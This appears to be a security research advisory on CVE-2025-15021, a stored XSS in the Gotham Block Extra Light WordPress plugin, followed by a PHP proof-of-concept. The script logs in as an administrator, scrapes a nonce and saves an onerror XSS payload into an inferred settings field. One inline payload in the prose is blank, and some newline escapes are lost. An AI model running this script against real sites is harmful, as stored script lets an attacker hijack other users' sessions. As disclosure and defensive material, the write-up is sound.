Atomic Edge analysis of CVE-2025-15021 (metadata-based):
This vulnerability is an authenticated stored Cross-Site Scripting (XSS) flaw in the Gotham Block Extra Light WordPress plugin, affecting versions up to and including 1.5.0. The vulnerability resides in the plugin’s admin settings functionality. Attackers with administrator-level permissions or higher can inject arbitrary JavaScript, which is stored and later executed in the context of a user’s browser when they view an affected page. The CVSS score of 4.4 reflects a lower attack complexity and a scope change, indicating the impact can spread beyond the targeted component.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on user-supplied data within the plugin’s settings management code. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description explicitly states the issue is due to insufficient sanitization and escaping. This conclusion is inferred from the CWE and description, as the source code is not available for direct confirmation. The condition that exploitation only affects multisite installations or those with the `unfiltered_html` capability disabled is a standard WordPress security model, where these configurations relax default KSES filtering for privileged users.
The exploitation method requires an attacker to have an administrator account on the target WordPress site. The attacker would navigate to the vulnerable plugin’s settings page within the WordPress admin area (`/wp-admin/options-general.php?page=gotham-block-extra-light` or a similar menu slug). They would then submit a malicious payload within one of the plugin’s setting fields. A typical proof-of-concept payload would be `
`. The injected script would be saved to the WordPress database (likely in the `wp_options` table). The script executes whenever any user, including lower-privileged ones, accesses a front-end or back-end page that outputs the unsanitized setting value.
Effective remediation requires implementing proper input validation, output escaping, or a combination of both. The patched version (1.6.0) likely added calls to WordPress core sanitization functions like `sanitize_text_field` or `wp_kses_post` on data before saving it to the database. It also likely added appropriate output escaping functions like `esc_html` or `esc_attr` when echoing the setting values in admin or front-end contexts. Following the principle of least privilege, the patch may also have introduced or reinforced capability checks to ensure only users with the `unfiltered_html` capability can submit unsanitized HTML, aligning with WordPress core behavior.
Successful exploitation leads to stored XSS, allowing an authenticated attacker with administrator privileges to execute arbitrary JavaScript in the context of other users’ sessions. This can result in session hijacking, forced actions on behalf of the victim user, defacement of admin pages, or theft of sensitive information like session cookies. In a multisite network, a super administrator could compromise the entire network. The impact is constrained by the requirement for high-level privileges but is severe within that context, as it bypasses the trust boundary between a legitimate administrator and the application’s integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15021 - Gotham Block Extra Light <= 1.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin Settings
<?php
/**
* Proof of Concept for CVE-2025-15021.
* ASSUMPTIONS:
* 1. The target has the Gotham Block Extra Light plugin (<=1.5.0) installed.
* 2. The attacker has valid administrator credentials.
* 3. The plugin's settings page is accessible via the standard WordPress admin menu.
* 4. The vulnerable parameter is a text field named in the settings form.
* 5. The site is a multisite installation or has `unfiltered_html` disabled.
*
* This script simulates an administrator submitting a malicious script via a plugin setting.
* The exact endpoint and parameter names are inferred from common WordPress plugin patterns.
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'admin'; // CHANGE THIS
$password = 'password'; // CHANGE THIS
// Payload: Basic XSS proof-of-concept.
$xss_payload = '<img src=x onerror="alert(`Atomic Edge XSS: `+document.domain)">';
// Initialize cURL session for WordPress login to obtain authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies to file
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$login_response = curl_exec($ch);
// Check for login success by looking for a redirect or dashboard indicator.
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Infer the plugin's settings page URL. Common pattern: options-general.php?page={plugin_slug}
$settings_page_url = $target_url . '/wp-admin/options-general.php?page=gotham-block-extra-light';
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, 0); // GET to retrieve the form and nonce
$settings_page = curl_exec($ch);
// Extract the WordPress nonce from the settings page form.
// Assume a nonce field named '_wpnonce' or a similar plugin-specific nonce.
$nonce_pattern = '/name="_wpnonce" value="([a-f0-9]+)"/';
preg_match($nonce_pattern, $settings_page, $nonce_matches);
if (empty($nonce_matches[1])) {
// Try alternative nonce pattern for plugin-specific actions.
$nonce_pattern = '/name="gotham_block_extra_light_nonce" value="([a-f0-9]+)"/';
preg_match($nonce_pattern, $settings_page, $nonce_matches);
}
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
die('Could not extract security nonce from settings page.');
}
// Submit the POST request to update plugin settings with the XSS payload.
// The exact parameter name is inferred; common examples: 'gotham_setting', 'gbel_option'.
$post_data = array(
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/options-general.php?page=gotham-block-extra-light',
'gotham_block_extra_light_option' => $xss_payload, // INFERRED parameter name
'submit' => 'Save Changes'
);
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$exploit_response = curl_exec($ch);
// Check for a success message or redirect.
if (strpos($exploit_response, 'Settings saved') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) === 302) {
echo "[+] XSS payload likely injected successfully.n";
echo "[+] Payload: " . htmlspecialchars($xss_payload) . "n";
echo "[+] The script will execute when the affected setting is loaded on any page.n";
} else {
echo "[-] Exploit may have failed. Manual verification required.n";
}
curl_close($ch);
?>